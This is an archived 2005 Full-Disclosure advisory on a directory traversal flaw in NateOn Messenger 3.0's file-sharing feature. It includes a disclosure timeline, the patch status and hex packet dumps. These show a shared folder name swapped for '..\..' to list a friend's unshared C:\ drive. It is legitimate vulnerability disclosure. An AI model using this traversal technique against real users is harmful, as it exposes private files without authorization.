lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Message-ID: <20050712024710.A50EC960@lists.grok.org.uk> Date: Tue Jul 12 10:43:40 2005 From: saintlinu at yahoo.co.kr (saintlinu) Subject: NateOn Messenger Version 3.0 Directory listing vulnerability Dear F/D Mailing lists Title: NateOn Messenger Version 3.0 Directory listing vulnerability Discoverer: PARK, GYU TAE (saintlinu@...l2root.org) Advisory No.: NRVA05-02 Critical: Less critical Impact: Information disclosed by unauthorized user and DoS Where: From remote Operating System: Windows Only Solution: patched Workaround: Disable fileshare function until patched by vendor Notice: 06. 20. 2005 initiate - No response 06. 23. 2005 2ND - No response 06. 27. 2005 Disclosure vulnerability 06. 29. 2005 Secunia notify and vendor responded 07. 0X. 2005. Patched (I don?t know exactly patched date bcoz vendor not inform to me) Description: The NateOn, twenties and thirties guys famous messenger in Korea, is Internet messenger such as MSN. There is vulnerability in FileShare. When user shared some folder like a?openFolder? then registered friends can access that folder. Also we can access unshared folder like a?%windir%?. Because NateOn believes user?s modified request. See following detail describe: Target friend id is ?buddyid=??????@...e.com? Shared folder name is ?debug? [recv] Message - ### Socket : 1088 / Content-Length : 9190 Content : 00 20 31 20 31 39 38 0D 0A 3C 66 6F 6C 64 65 72 . 1 198..<folder 6C 69 73 74 20 6E 61 6D 65 3D 27 B3 CA B8 B8 BF list name='..... CD 27 20 62 75 64 64 79 69 64 3D 27 XX XX XX XX .' buddyid='XXXX XX XX 40 6E 61 74 65 2E 63 6F 6D 27 20 74 79 70 XX@...e.com' typ 65 3D 27 30 27 3E 3C 66 6F 6C 64 65 72 69 6E 66 e='0'><folderinf 6F 20 6E 61 6D 65 3D 27 2B 5F 2B 27 20 61 75 74 o name='+_+' aut 68 6F 72 69 74 79 3D 27 32 27 20 66 6F 6C 64 65 hority='2' folde 72 69 64 3D 27 30 27 20 66 6F 6C 64 65 72 70 61 rid='0' folderpa 74 68 3D 27 43 3A 5C 64 65 62 75 67 27 20 63 6F th='C:\debug' co 6D 6D 65 6E 74 3D 27 2B 5F 2B 27 20 61 64 64 64 mment='+_+' addd 61 74 65 3D 27 32 30 30 35 30 35 32 36 31 37 35 ate='20050526175 32 33 37 27 3E 3C 2F 66 6F 6C 64 65 72 69 6E 66 237'></folderinf 6F 3E 3C 2F 66 6F 6C 64 65 72 6C 69 73 74 3E 00 o></folderlist>. 00 00 00 00 00 00 ...... ---------------------------------------------------------------- We received target user?s shared folder information. But we can modify send packet using Win32API CraeteRemoteThread Just substituted ?debug? to ?..\..? [send] Message - ### Socket : 1088 / Content-Length : 25 Content : 46 4C 52 4D 20 32 20 46 49 4C 45 5F 4C 49 53 54 FLRM 2 FILE_LIST 20 31 20 31 20 32 38 0D 0A 1 1 28.. [send] Message - ### Socket : 1088 / Content-Length : 28 Content : 30 20 XX XX XX XX XX XX XX XX 40 6E 61 74 65 2E 0 YYYYYYYY@...e. 63 6F 6D 20 43 3A 5C 2E 2E 5C 2E 2E com C:\..\.. ---------------------------------------------------------------- You can see the below messages. [recv] Message - ### Socket : 1088 / Content-Length : 9216 Content : 00 4C 52 4D 20 31 20 46 49 4C 45 5F 4C 49 53 54 .LRM 1 FILE_LIST 20 31 20 31 20 39 38 31 0D 0A 3C 66 69 6C 65 6C 1 1 981..<filel 69 73 74 20 69 64 3D 27 XX XX XX XX XX XX 40 6E ist id='XXXXXX@n 61 74 65 2E 63 6F 6D 27 20 61 75 74 68 3D 27 32 ate.com' auth='2 27 20 70 61 74 68 3D 27 43 3A 5C 2E 2E 5C 2E 2E ' path='C:\..\.. 27 20 66 6F 6C 64 65 72 69 64 3D 27 30 27 3E 3C ' folderid='0'>< 66 69 6C 65 20 6E 61 6D 65 3D 27 41 55 54 4F 45 file name='AUTOE 58 45 43 2E 42 41 54 27 20 73 69 7A 65 3D 27 30 XEC.BAT' size='0 27 20 64 61 74 65 3D 27 32 30 30 34 2D 30 39 2D ' date='2004-09- 31 35 20 31 36 3A 34 32 3A 30 37 27 20 69 73 66 15 16:42:07' isf 6F 6C 64 65 72 3D 27 6E 27 2F 3E 3C 66 69 6C 65 older='n'/><file 20 6E 61 6D 65 3D 27 43 4F 4E 46 49 47 2E 53 59 name='CONFIG.SY 53 27 20 73 69 7A 65 3D 27 30 27 20 64 61 74 65 S' size='0' date 3D 27 32 30 30 34 2D 30 39 2D 31 35 20 31 36 3A ='2004-09-15 16: 34 32 3A 30 37 27 20 69 73 66 6F 6C 64 65 72 3D 42:07' isfolder= 27 6E 27 2F 3E 3C 66 69 6C 65 20 6E 61 6D 65 3D 'n'/><file name= 27 64 65 73 6B 74 6F 70 5F 61 75 64 69 74 2E 74 'desktop_audit.t 78 74 27 20 73 69 7A 65 3D 27 32 30 38 34 27 20 xt' size='2084' 64 61 74 65 3D 27 32 30 30 35 2D 30 35 2D 32 34 date='2005-05-24 20 30 30 3A 32 32 3A 32 38 27 20 69 73 66 6F 6C 00:22:28' isfol 64 65 72 3D 27 6E 27 2F 3E 3C 66 69 6C 65 20 6E der='n'/><file n 61 6D 65 3D 27 64 6E 2E 76 62 73 27 20 73 69 7A ame='dn.vbs' siz 65 3D 27 33 32 34 27 20 64 61 74 65 3D 27 32 30 e='324' date='20 30 34 2D 31 30 2D 32 30 20 31 38 3A 33 31 3A 33 04-10-20 18:31:3 38 27 20 69 73 66 6F 6C 64 65 72 3D 27 6E 27 2F 8' isfolder='n'/ 3E 3C 66 69 6C 65 20 6E 61 6D 65 3D 27 65 64 69 ><file name='edi 2E 65 78 65 27 20 73 69 7A 65 3D 27 33 32 37 36 .exe' size='3276 38 27 20 64 61 74 65 3D 27 32 30 30 34 2D 31 30 8' date='2004-10 2D 32 30 20 31 38 3A 30 37 3A 30 35 27 20 69 73 -20 18:07:05' is 66 6F 6C 64 65 72 3D 27 6E 27 2F 3E 3C 66 69 6C folder='n'/><fil 65 20 6E 61 6D 65 3D 27 6D 73 30 34 2D 30 33 32 e name='ms04-032 2E 77 6D 66 27 20 73 69 7A 65 3D 27 35 37 36 27 .wmf' size='576' 20 64 61 74 65 3D 27 32 30 30 34 2D 31 30 2D 32 date='2004-10-2 30 20 31 38 3A 33 33 3A 34 31 27 20 69 73 66 6F 0 18:33:41' isfo 6C 64 65 72 3D 27 6E 27 2F 3E 3C 66 69 6C 65 20 lder='n'/><file 6E 61 6D 65 3D 27 63 6F 6E 63 65 72 74 27 20 73 name='concert' s 69 7A 65 3D 27 30 27 20 64 61 74 65 3D 27 32 30 ize='0' date='20 30 34 2D 31 30 2D 32 30 20 31 35 3A 31 32 3A 35 04-10-20 15:12:5 37 27 20 69 73 66 6F 6C 64 65 72 3D 27 79 27 2F 7' isfolder='y'/ 3E 3C 66 69 6C 65 20 6E 61 6D 65 3D 27 64 65 62 ><file name='deb 75 67 27 20 73 69 7A 65 3D 27 30 27 20 64 61 74 ug' size='0' dat 65 3D 27 32 30 30 35 2D 30 35 2D 32 33 20 31 32 e='2005-05-23 12 3A 34 38 3A 33 37 27 20 69 73 66 6F 6C 64 65 72 :48:37' isfolder 3D 27 79 27 2F 3E 3C 66 69 6C 65 20 6E 61 6D 65 ='y'/><file name 3D 27 44 6F 63 75 6D 65 6E 74 73 20 61 6E 64 20 ='Documents and 53 65 74 74 69 6E 67 73 27 20 73 69 7A 65 3D 27 Settings' size=' 30 27 20 64 61 74 65 3D 27 32 30 30 34 2D 30 39 0' date='2004-09 2D 31 35 20 31 37 3A 30 39 3A 31 34 27 20 69 73 -15 17:09:14' is 66 6F 6C 64 65 72 3D 27 79 27 2F 3E 3C 66 69 6C folder='y'/><fil 65 20 6E 61 6D 65 3D 27 50 72 6F 67 72 61 6D 20 e name='Program 46 69 6C 65 73 27 20 73 69 7A 65 3D 27 30 27 20 Files' size='0' 64 61 74 65 3D 27 32 30 30 35 2D 30 35 2D 32 36 date='2005-05-26 20 30 38 3A 30 36 3A 31 31 27 20 69 73 66 6F 6C 08:06:11' isfol 64 65 72 3D 27 79 27 2F 3E 3C 66 69 6C 65 20 6E der='y'/><file n 61 6D 65 3D 27 74 65 73 74 27 20 73 69 7A 65 3D ame='test' size= 27 30 27 20 64 61 74 65 3D 27 32 30 30 35 2D 30 '0' date='2005-0 34 2D 32 30 20 31 34 3A 31 35 3A 34 39 27 20 69 4-20 14:15:49' i 73 66 6F 6C 64 65 72 3D 27 79 27 2F 3E 3C 66 69 sfolder='y'/><fi 6C 65 20 6E 61 6D 65 3D 27 57 49 4E 44 4F 57 53 le name='WINDOWS 27 20 73 69 7A 65 3D 27 30 27 20 64 61 74 65 3D ' size='0' date= 27 32 30 30 34 2D 31 30 2D 32 30 20 31 36 3A 30 '2004-10-20 16:0 30 3A 31 37 27 20 69 73 66 6F 6C 64 65 72 3D 27 0:17' isfolder=' 79 27 2F 3E 3C 2F 66 69 6C 65 6C 69 73 74 3E 00 y'/></filelist>. 00 00 00 00 00 00 ...... buddy id = YYYYYY@...e.com Requested directory = 'C:\..\..' File lists on unshared directory <filelist id='YYYYYY@...e.com' auth='2' path='C:\..\..' folderid='0'> <file name='AUTOEXEC.BAT' size='0' date='2004-09-15 16:42:07' isfolder='n'/> <file name='CONFIG.SYS' size='0' date='2004-09-15 16:42:07' isfolder='n'/> <file name='desktop_audit.txt' size='2084' date='2005-05-24 00:22:28' isfolder='n'/> <file name='dn.vbs' size='324' date='2004-10-20 18:31:38' isfolder='n'/> <file name='edi.exe' size='32768' date='2004-10-20 18:07:05' isfolder='n'/> <file name='ms04-032.wmf' size='576' date='2004-10-20 18:33:41' isfolder='n'/> <file name='concert' size='0' date='2004-10-20 15:12:57' isfolder='y'/> <file name='debug' size='0' date='2005-05-23 12:48:37' isfolder='y'/> <file name='Documents and Settings' size='0' date='2004-09-15 17:09:14' isfolder='y'/> <file name='Program Files' size='0' date='2005-05-26 08:06:11' isfolder='y'/> <file name='test' size='0' date='2005-04-20 14:15:49' isfolder='y'/> <file name='WINDOWS' size='0' date='2004-10-20 16:00:17' isfolder='y'/> </filelist>. ---------------------[cut cut]---------------------------------------------- Thanks my Null@...t members PS. I?m very sorry for my poor English Cheers -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050712/04693892/attachment-0001.html
Powered by blists - more mailing lists